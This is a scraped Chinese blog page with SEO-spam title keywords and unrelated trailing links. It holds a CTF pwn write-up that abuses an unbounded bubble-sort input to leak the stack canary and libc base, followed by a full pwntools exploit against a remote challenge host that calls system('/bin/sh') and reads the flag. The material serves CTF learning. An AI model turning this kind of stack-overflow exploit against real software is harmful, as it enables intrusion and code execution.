当前位置: 首页 > news >正文

肃宁网站制作价格/seo外包方案

肃宁网站制作价格,seo外包方案,常州网站建设 最易,大安市建设局网站冒泡排序。 漏洞: 对排序数字个数无限制 栈结构: 8个排序数字16 名字canary其它7libc_start_main_ret 思路: 输入 0*24,-,main*7,-,main 当canary小于main时排序结果为0*24, canary, main*8, libc_start_mian_ret。可以得到libc地址&…

冒泡排序。

漏洞:

对排序数字个数无限制

栈结构:

  • 8个排序数字
  • 16 名字
  • canary
  • 其它7
  • libc_start_main_ret

思路:

输入 0*24,-,main*7,-,main 当canary小于main时排序结果为0*24, canary, main*8, libc_start_mian_ret。可以得到libc地址,并用main覆盖返回地址。回到main函数。

第2次输入0*24,canary*5,system*2,bin_sh排序后无变化,覆盖到返回地址

完整exp:

from pwn import *local = 0
if local == 1:p = process('./pwn')libc_elf = ELF("/home/shi/libc6-i386_2.23-0ubuntu11.3/libc-2.23.so")one = [0x3a81c,0x3a81e,0x3a822,0x3a829,0x5f075,0x5f076]offset_main_ret = 0x18647
else:p = remote('111.200.241.244', 56660) libc_elf = ELF('/home/shi/buuctf/libc6-i386_2.23-0ubuntu10_amd64.so')one = [0x3a80c,0x3a80e,0x3a812,0x3a819,0x5f065,0x5f066]offset_main_ret = 0x18637elf = ELF('./pwn')
context(arch='i386', log_level='debug')# data:8, name:16, canary, padding:7, libc_ret, X 
p.sendafter(b"What your name :", b'A'*32)
p.recvuntil(b'A'*32)
pwn_base = u32(p.recv(4)) - 0x601
elf.address = pwn_base
print('pwn:', hex(pwn_base))#0*24 -canary main*7 -libc_ret main
#0*24 canary main*8 libc_ret (canary<main)
p.sendlineafter(b' :', b'34')
for i in range(24):p.sendlineafter(b' : ', b'0')
p.sendlineafter(b' : ', b'-')
for i in range(7):p.sendlineafter(b' : ', str(elf.sym['main']).encode())
p.sendlineafter(b' : ', b'-')
p.sendlineafter(b' : ', str(elf.sym['main']).encode())sleep(1)
p.recvuntil(b'0 '*24)
canary = int(p.recvuntil(b' '))
print('canary:', hex(canary))
if canary == elf.sym['main']:raise('error')for i in range(8):p.recvuntil(b' ')
libc_base = int(p.recvuntil(b' ')) - offset_main_ret
libc_elf.address = libc_base
print('libc:', hex(libc_base))#gdb.attach(p, f'b*{hex(pwn_base+0xb10)}')
#pause()# data:8, name:16, canary, padding:4, libc_ret, X, bin_sh
p.sendafter(b"What your name :", b'A'*32)
p.sendlineafter(b' :', b'32')
for i in range(24):p.sendlineafter(b' : ', b'0')
for i in range(5):p.sendlineafter(b' : ', str(canary).encode())
p.sendlineafter(b' : ', str(libc_elf.sym['system']).encode())
p.sendlineafter(b' : ', str(libc_elf.sym['system']).encode())
p.sendlineafter(b' : ', str(next(libc_elf.search(b'/bin/sh'))).encode())p.sendline(b'cat /flag')
p.interactive()

http://www.lbrq.cn/news/1533277.html

相关文章:

  • 合肥网页制作联系方式/广州seo服务外包
  • 女生做网站主题有哪些/友链外链app
  • 门户手机版网站/网络营销的八大职能
  • 海珠做网站/广告联盟平台挂机赚钱
  • 咋样做网站/宁波seo专员
  • 广州免费制作网站软件/网站制作过程
  • wordpress网站备份/地推团队接单平台
  • 二级建造师注册查询/google推广seo
  • 静安企业网站制作/苏州网络推广服务
  • 安卓网站开发环境/微营销推广方案
  • 手机网站制作教程软件/百度客服电话24小时客服电话
  • 用织梦做网站有什么公司会要/seo搜索
  • 家庭宽带做网站服务器/全世界足球排名前十位
  • 哪个网站有收藏加购做积分任务/内部搜索引擎优化
  • php sqlite 做网站/小学生班级优化大师
  • 西安网站开发公司价格/浏览器下载
  • 云南省住房建设厅网站/优化关键词推广
  • 房地产交易中心官网/seo网站建站
  • 西安专业做网站的公司哪家好/网络广告策划
  • 竞价网站做不做链接/郑州seo多少钱
  • 有哪些是外国人做的网站/网页优化包括什么
  • 外汇局网站预收货款报告怎么做/国际军事新闻
  • 网站运营专员具体每天怎么做/深圳网络营销推广培训
  • 网站结构优化包括哪些/免费推广方式有哪些
  • 沈阳做招聘网站/今日国际新闻最新消息事件
  • 电子商务网站功能页面/个人网站怎么建立
  • 西安网站设计西安搜推宝/app拉新放单平台
  • 安阳手机网站建设/免费发布推广的网站有哪些
  • 部门网站建设宗旨/百度大数据分析平台
  • 公众号在哪里找/seo挂机赚钱
  • 【力扣 Hot100】滑动窗口巧解字串问题
  • 开发者中使用——控制台打印数据
  • 交易高光时刻-01
  • 大数据毕业设计选题推荐-基于大数据的鲍鱼多重生理特征数据可视化分析系统-Spark-Hadoop-Bigdata
  • 神经网络中 标量求导和向量求导
  • 基于Spring Cloud Gateway动态路由与灰度发布方案对比与实践指导